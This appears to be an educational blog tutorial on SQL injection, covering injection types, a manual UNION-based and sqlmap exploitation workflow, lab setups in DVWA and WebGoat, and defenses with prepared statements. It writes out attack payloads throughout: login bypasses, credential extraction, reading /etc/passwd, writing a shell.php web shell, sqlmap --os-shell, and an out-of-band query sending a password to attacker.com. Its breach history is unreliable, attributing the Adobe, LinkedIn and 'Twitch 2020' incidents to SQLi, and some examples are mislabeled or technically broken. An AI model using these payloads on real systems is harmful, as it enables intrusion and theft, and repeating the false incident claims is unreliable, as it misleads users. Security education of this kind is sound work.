SQL Injection Explained: How It Works and How to Practice Safely

SQL Injection (SQLi) remains one of the most dangerous and common web vulnerabilities. The OWASP Top 10 consistently ranks it in the top 5 critical risks. For a junior security professional or hobbyist, understanding SQL injection deeply — from theory to exploitation — is essential.

Unlike many modern vulnerabilities, SQL injection doesn’t require zero-days or advanced techniques. It exploits a fundamental misunderstanding of how applications should handle user input. This guide explains how it works, why it’s dangerous, and how to practice safely.

What Is SQL Injection?

SQL injection occurs when an attacker inserts malicious SQL code into an application input field, and the application executes it without proper validation. The attacker manipulates the SQL query structure itself.

Simple example:

A login form expects:

Username: admin
Password: password123

The application constructs this SQL query:

SELECT * FROM users WHERE username='admin' AND password='password123';

An attacker enters:

Username: admin' --
Password: (anything)

The query becomes:

SELECT * FROM users WHERE username='admin' -- AND password='password123';

The -- comments out the password check. The attacker bypasses authentication without knowing the password.

Why SQL Injection Happens

Root cause: Mixing code and data.

The application treats user input as part of the SQL query structure instead of as data.

Vulnerable pattern:

<?php
$username = $_POST['username'];
$password = $_POST['password'];

// VULNERABLE - DO NOT USE
$query = "SELECT * FROM users WHERE username='" . $username . "' AND password='" . $password . "'";
$result = mysqli_query($connection, $query);
?>

If $username contains admin' OR '1'='1, the query becomes:

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='...';

This always returns true because '1'='1' is always true.

Types of SQL Injection

1. In-Band (Error-Based) SQL Injection

The attacker sees error messages from the database. Errors leak information.

Example:

Username: admin' AND SLEEP(5) --

If the page takes 5 seconds to load, the query executed. This confirms the injection works.

Error-based variant:

Username: admin' UNION SELECT NULL, NULL, NULL --

Database errors reveal the number of columns and data types:

Error: number of columns in SELECT doesn't match number of columns in UNION

2. Blind SQL Injection (Boolean-Based)

No error messages. The attacker infers results from true/false responses.

Example:

Username: admin' AND SUBSTRING(password,1,1)='a' --

If the login page displays “Invalid credentials” or shows different content based on true/false, the attacker guesses character by character.

Timing-based blind SQLi:

Username: admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --

If the page delays 5 seconds, the first character is ‘a’. No delay means it’s not.

3. Second-Order SQL Injection

The malicious input is stored, then executed later when retrieved.

Example:

1. Attacker registers account with username: ' OR '1'='1
2. Application stores the name in database
3. Admin retrieves “user list” query
4. Stored SQLi payload executes during retrieval

4. Out-of-Band SQL Injection (Advanced)

Attacker forces the database to make network requests (DNS, HTTP) to exfiltrate data.

SELECT load_file('\\\\attacker.com\\' + (SELECT password FROM users LIMIT 1));

Database attempts to load a file from attacker’s server, leaking the password in the filename.

Detection and Exploitation Workflow

Manual Testing

Step 1: Identify injection points

Look for user inputs that might interact with databases:

• Login forms (username/password)
• Search forms
• Filters and sorting
• File uploads
• HTTP headers (User-Agent, Referer)

Step 2: Test for basic SQLi

Try simple payloads:

'
"
' OR '1'='1
' OR 1=1 --
admin' --
' UNION SELECT NULL --

If the application behaves unexpectedly (different page, error, timeout), injection is possible.

Step 3: Determine number of columns

Use UNION-based injection:

' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL --

When the number matches, the query executes successfully.

Step 4: Extract data

Once columns are identified, extract information:

' UNION SELECT version(), database(), user() --
' UNION SELECT username, password, email FROM users --
' UNION SELECT table_name, NULL, NULL FROM information_schema.tables --

Step 5: Escalate privileges

Read files:

' UNION SELECT load_file('/etc/passwd'), NULL, NULL --

Write files (if enabled):

' UNION SELECT 'payload', NULL, NULL INTO OUTFILE '/var/www/html/shell.php' --

Automated Exploitation with SQLmap

Manually exploiting SQLi is tedious. SQLmap automates the process.

Installation:

sudo apt install sqlmap

Basic usage:

sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" -p username

Parameters:

• -u : Target URL
• --data : POST data
• -p : Parameter to test
• --dbs : Enumerate databases
• --tables : Enumerate tables
• --dump : Extract data

Full exploitation:

# Test the parameter
sqlmap -u "http://192.168.1.100/login.php" --data="username=admin&password=test" -p username

# Enumerate databases
sqlmap -u "http://192.168.1.100/login.php" --data="username=admin&password=test" -p username --dbs

# Enumerate tables in 'wordpress' database
sqlmap -u "http://192.168.1.100/login.php" --data="username=admin&password=test" -p username -D wordpress --tables

# Dump users table
sqlmap -u "http://192.168.1.100/login.php" --data="username=admin&password=test" -p username -D wordpress -T users --dump

# Dump all data (verbose)
sqlmap -u "http://192.168.1.100/login.php" --data="username=admin&password=test" -p username --dump-all -v 3

Advanced options:

# Test all parameters
sqlmap -u "http://target.com/page.php?id=1&sort=name" --batch

# Use specific techniques (faster)
sqlmap -u "http://target.com/page.php?id=1" --technique=U  # UNION only

# Save requests/responses
sqlmap -u "http://target.com" -p id -t /tmp/requests.txt

# Read local files
sqlmap -u "http://target.com" -p id --file-read "/etc/passwd"

# Execute OS commands (if possible)
sqlmap -u "http://target.com" -p id --os-shell

Safe Practice Environments

DVWA (Damn Vulnerable Web Application)

Installation:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

Then navigate to http://localhost/DVWA (default: admin/password)

SQL Injection lab:

1. Login to DVWA
2. Navigate to Vulnerabilities → SQL Injection
3. Try basic injection in User ID field
4. Payload examples:

   1' OR '1'='1
   1' UNION SELECT NULL, NULL --
   1' UNION SELECT user(), database() --

WebGoat

Installation:

docker run -p 8080:8080 webgoat/goatandwolf

Navigate to http://localhost:8080/WebGoat

SQL injection lessons:

• SQL injection basics
• Data exfiltration
• Advanced injections

Defense Principles

Understanding defenses helps you recognize vulnerable code.

1. Parameterized Queries (Prepared Statements)

Separates code from data:

Safe (PHP with mysqli):

<?php
$username = $_POST['username'];
$password = $_POST['password'];

// Prepared statement - username is data, not code
$stmt = $connection->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
?>

The ? placeholders ensure user input is treated as data, never as SQL code.

2. Stored Procedures

Move query logic to the database:

CREATE PROCEDURE CheckLogin(IN p_username VARCHAR(50), IN p_password VARCHAR(50))
BEGIN
  SELECT * FROM users WHERE username=p_username AND password=p_password;
END;

Called safely:

$stmt = $connection->prepare("CALL CheckLogin(?, ?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

3. Input Validation

Whitelist acceptable input:

if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
    die("Invalid username format");
}

Only allows alphanumeric and underscore, 3-20 characters.

4. Escaping (Weak Defense)

Better than nothing, but not foolproof:

$username = mysqli_real_escape_string($connection, $_POST['username']);

Modern frameworks handle this automatically.

Real-World SQL Injection Examples

2012 LinkedIn hack: 6.5 million password hashes leaked via SQLi

2013 Adobe hack: 150 million user records via SQLi

2020 Twitch incident: User tokens exposed through SQLi vulnerability

Practice Exercises

1. Exploit DVWA SQL Injection (Simple): Get all user credentials
2. Blind SQLi on WebGoat: Extract data without error messages
3. Union-based exploitation: Determine column count, then extract data
4. SQLmap automation: Use SQLmap to fully compromise DVWA database
5. Bypass authentication: Log in as admin without password

Conclusion

SQL injection is dangerous because it’s often overlooked in modern application security discussions. Developers using frameworks may assume they’re protected, leading to complacency. However, SQLi still affects legacy systems, improperly configured frameworks, and custom code.

As a security professional, you must:

1. Understand the mechanics (what makes it work)
2. Recognize vulnerable patterns (string concatenation)
3. Exploit it systematically (manual and automated)
4. Defend against it (parameterized queries, validation)

Practice on DVWA and WebGoat until you can exploit any SQLi variant. Then you’ll have the knowledge to find and fix it in real applications.

SQL injection is old, but it’s still alive. Know it inside and out.